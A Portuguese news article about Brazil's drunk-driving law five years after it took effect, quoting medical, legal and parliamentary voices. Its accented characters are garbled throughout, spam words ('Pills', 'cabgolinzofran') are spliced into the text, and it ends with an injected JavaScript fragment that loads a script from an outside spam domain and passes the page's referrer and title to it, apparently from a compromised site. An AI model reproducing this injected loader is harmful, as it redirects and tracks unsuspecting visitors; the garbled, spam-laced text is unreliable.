Era de se esperar mais resultados apA?s cinco anos de vigA?ncia da lei. A insuficiA?ncia de recursos humanos para fiscalizar cerca de 60 milhAi??es de motoristas no paAi??s e a inconstA?ncia da conversA?o da lei em polAi??tica pA?blica sA?lida sA?o as principais falhas para contornar uma situaAi??A?o que, para a AssociaAi??A?o Brasileira de Medicina de TrA?fego (Abramet), Ai?? uma doenAi??a endA?mica negligenciada pelo Estado.
A ampliaAi??A?o dos meios de prova de que o motorista estA? sob o efeito de A?lcool atAi?? ajudou a impressionar potenciais infratores, mas ainda nA?o Ai?? suficiente. “O sujeito se assusta e procura caminhos para fugir da blitz. Ai?? uma maneira de intimidar, mas nA?o de solucionar. NA?o serve de nada sem a presenAi??a de recursos humanos e a puniAi??A?o severa”, avalia Dirceu Rodrigues Alves JA?nior, chefe do Departamento de Medicina do TrA?fego Ocupacional da Abramet.
“Na realidade, a gente tem um discurso de endurecimento, mas nA?o temos uma continuidade disso na prA?tica”, reitera Soraia Mendes, professora de direito penal da Universidade CatA?lica de BrasAi??lia. Pela avaliaAi??A?o da doutora em direito, o texto da lei ainda Ai?? confuso e dA? brechas para que muitos infratores escapem das puniAi??Ai??es mais severas. “Sim, o texto da lei poderia ser melhorado. Mas, ainda assim, falta compromisso das autoridades com a fiscalizaAi??A?o e atAi?? com a repressA?o a esse tipo de delito.”
Apesar dos avanAi??os na legislaAi??A?o, o promotor da 2A? Promotoria de Delitos de TrA?nsito, Rodrigo de MagalhA?es Rosa, defende a necessidade de mais aperfeiAi??oamentos do texto para garantir uma puniAi??A?o justa. Segundo ele, atualmente, o CTB sA? prevA? homicAi??dio culposo no trA?nsito (sem intenAi??A?o de matar), sem qualquer agravamento para quem dirigia sob efeito de A?lcool.
Vice-presidente da Frente Parlamentar em Defesa do TrA?nsito Seguro, o deputado federal PillsBeto Albuquerque (PSB-RS) destaca os avanAi??os na reduAi??A?o das tragAi??dias. Na opiniA?o do parlamentar, alAi??m da mudanAi??a de cultura do cidadA?o, o JudiciA?rio tambAi??m precisa evoluir. “Investigadores, promotores e juAi??zes ainda consideram a morte no trA?nsito provocada por motorista embriagado um acidente e nA?o um homicAi??dio com dolo e, consequentemente, a pena Ai?? menor”, reclama.
Para o parlamentar, uma forma de evitar penas brandas para o cidadA?o, que, alcoolizado, mata ou fere alguAi??m no trA?nsito, Ai?? promover uma nova alteraAi??A?o na lei seca. Ele conseguiu aprovar na CA?mara dos Deputados o Projeto de Lei da CA?mara nA? 26/2013, que muda o regime de pena para esses casos. “Em vez de detenAi??A?o, que o rAi??u cumpre em regime aberto, o regime serA? o de reclusA?o. AAi??, nA?o terA? brecha para a pessoa escapar da cadeia nem ter a pena transformada em cesta bA?sica”, afirma. price cabgolinzofran price malaysiahttp://mbda.tech/?p=773 s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
